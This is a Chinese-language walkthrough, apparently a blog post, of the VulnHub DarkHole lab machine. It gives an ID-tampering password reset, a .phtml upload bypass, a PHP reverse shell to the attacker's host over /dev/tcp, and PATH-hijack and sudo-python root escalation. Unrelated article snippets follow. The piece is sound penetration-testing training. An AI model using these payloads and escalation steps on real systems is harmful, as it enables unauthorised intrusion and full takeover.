渗透环境

攻击机:   IP: 192.168.216.129(Kali)

靶机:     IP:192.168.216.130

靶机下载地址:https://www.vulnhub.com/entry/darkhole-1,724/

进行渗透

一、 获取端口信息

nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。

nmap -O -sV -p- -A 192.168.216.130

开放了22和80端口。

二、 寻找WEB漏洞

访问80端口,出现登录框,并且可以注册账户

注册test账户并登录,登陆后跳转到更改用户信息和密码的页面

猜测这里存在越权修改其他用户密码的漏洞,尝试修改自己的密码并抓包

发现有两个id,我们新建的用户id为2,那么原有的用户id应该1,尝试将body里的id修改为1,返回修改成功

猜测原来的用户名为admin,密码刚才我们已经成功修改为admin了,尝试登录

登录成功,且该页面有上传功能。经过测试,这里上传文件只对后缀名进行了过滤,当我们上传php后缀的文件时会失败,但是上传phtml后缀的文件是可以的。这里可以上传一句话木马用蚁剑进行连接,也可以直接上传反向连接的php代码,我们使用后者。

1.phtml内容如下

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>

让目标主机反向连接192.168.216.129(即攻击机)的4444端口

上传1.phtml,显示上传成功,并返回了上传文件的链接

点击红框中的File,跳转到以下URL

http://192.168.216.130/upload/1.phtml

接下来我们在kali上监听4444端口

nc -nlvp 4444

再次访问:http://192.168.216.130/upload/1.phtml

看到已经成功反弹了shell,当前用户是www-data

三、 提权

查看可以登录/bin/bash的用户

cat /etc/passwd | grep /bin/bash

当然也可以通过查看/home目录查看创建的用户

常规思路,查看具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

发现可疑文件/home/john/toto,直接执行该文件

观察其输出,不难猜测,该文件调用了id命令,因此我们可以采用命令劫持的方式进行提权

echo 'chomd +s /bin/bash' > id            #在当前文件夹下写一个id文件
chmod 777 id #更改权限
export PATH=/var/www/html/upload:$PATH #将当前路径加入环境变量
/home/john/toto #执行该文件,会调用我们重写的id

执行时发现我们的chmod +s命令发生了权限错误,即我们无法让自己写的id文件拥有SUID权限,那么只能先放弃在这里进行提权,先使用john的身份进行登录

echo '/bin/bash' > id
/home/john/toto
python3 -c 'import pty;pty.spawn("/bin/bash")' #创建交互式shell

看到我们已经以john的身份登录进来了。

/home/john/下发现password文件

得到john用户的密码root123

查看John用户可执行的特权命令

sudo -l

看到John用户可以以root身份运行python3file.py

因此我们可以尝试修改file.py的内容

echo "import pty;pty.spawn('/bin/bash')" > file.py

当执行这个py文件时,会打开一个可交互的shell

接下来执行这个文件

sudo python3 /home/john/file.py

在这里有一个坑,当我们使用相对路径时会无法执行,使用绝对路径时才可以,我也不知道为啥

此时我们就已经拿到root权限了,flag在/root下,渗透结束

【渗透测试】Vulnhub DarkHole的更多相关文章

  1. [经验分享] OSCP 渗透测试认证

    http://f4l13n5n0w.github.io/blog/2015/05/05/jing-yan-fen-xiang-oscp-shen-tou-ce-shi-ren-zheng/ “120天 ...

  2. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

  3. Kali Linux Web 渗透测试秘籍 中文版

    第一章 配置 Kali Linux 简介 在第一章中,我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍,并使用虚拟机建立带有存在漏洞的 Web 应用的实验室. 1.1 升级和更新 Kal ...

  4. 渗透测试工具BurpSuite做网站的安全测试(基础版)

    渗透测试工具BurpSuite做网站的安全测试(基础版) 版权声明:本文为博主原创文章,未经博主允许不得转载. 学习网址: https://t0data.gitbooks.io/burpsuite/c ...

  5. 渗透测试-信息收集-c段收集

    平时做渗透测试我比较喜欢用lijiejie 写的 subDomainsBrute来爆破子域名 那么爆破完成后就想收集一下网站的c段信息 下面以平安为例 爆破得到子域名为 i.pingan.com.cn ...

  6. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  7. ms08-067漏洞--初识渗透测试--想必很多初学者都会遇到我文中提及的各种问题

    最近读了一本书--<<渗透测试实践指南>>,测试了书中的一些例子后,开始拿ms08-067这个经典的严重漏洞练手,实践当中遇到诸多问题,好在一一解决了,获益匪浅. 在谷歌搜索的 ...

  8. 渗透测试工具Nmap从初级到高级使用教程

    本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...

  9. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  10. Kali Linux渗透测试实战 1.2 环境安装及初始化

    1.2 环境安装及初始化 目录(?)[-] 环境安装及初始化 下载映像 安装虚拟机 安装Kali Linux 安装中文输入法 安装VirtualBox增强工具 配置共享目录和剪贴板 运行 Metasp ...

随机推荐

  1. openEuler欧拉修改SSH端口

    修改SSH端口的主要原因是提高服务器的安全性.默认情况下,SSH服务运行在端口22上,因此攻击者和自动化脚本通常会针对此端口发起暴力破解攻击.密码猜测和其他恶意活动. vim /etc/ssh/ssh ...

  2. 中电金信:GienTech动态| 获奖、合作、与伙伴共谋数字化转型…

    ​ ​ -- -- GienTech动态 -- -- 中电金信携"源启"亮相第十二届中国电子信息博览会 ​ 4月11日,为期三天的"第十二届中国电子信息博览会" ...

  3. Linux FTP 服务搭建

    Linux FTP 服务搭建 1.安装vsftp 1.1.使用yum进行安装vsftp [root@localhost ~]# yum -y install vsftpd 1.2.配置文件目录 [ro ...

  4. IDEA和GIT关于文件中LF和CRLF问题

    问题描述:项目软件安装shell脚本上git仓库管理,但拉取后,上linux运行报错. 问题思考:根据描述信息可以查看到\r字样,初步判别为换行符导致 1.将脚本文件移动至notepad++中,通过视 ...

  5. fabric2.0开发 部署fabric环境和fabric-samples的启动(2)

    通过上一篇文章我们已经将fabric的基本环境搭建成功,接下来我们开始运行使用并初步认识fabric. 创建项目目录 mkdir -p ~/go/src/github.com/hyperledger ...

  6. Qt开发经验小技巧91-100

    数据库处理一般建议在主线程,如果非要在其他线程,务必记得打开数据库也要在那个线程,即在那个线程使用数据库就在那个线程打开,不能打开数据库在主线程,执行sql在子线程,很可能出问题. 新版的QTcpSe ...

  7. Python 潮流周刊#83:uv 的使用技巧(摘要)

    本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章.教程.开源项目.软件工具.播客和视频.热门话题等内容.愿景:帮助所有读者精进 Python 技术,并增长职 ...

  8. 从异常{ 无法将 匿名方法 转换为类型“System.Delegate”,因为它不是委托类型 }说开去

    从异常{ 无法将 匿名方法 转换为类型"System.Delegate",因为它不是委托类型 }说开去. 查看如下代码: this.Invoke(delegate { Messag ...

  9. TNN-linux编译测试记录

    Github: https://github.com/Tencent/TNN docs: https://github.com/Tencent/TNN/blob/master/doc/cn/user/ ...

  10. Appium_ios自动化问题汇总

    1.使用Xcode遇到的问题 xcode-select: error: tool 'instruments' requires Xcode, but active developer director ...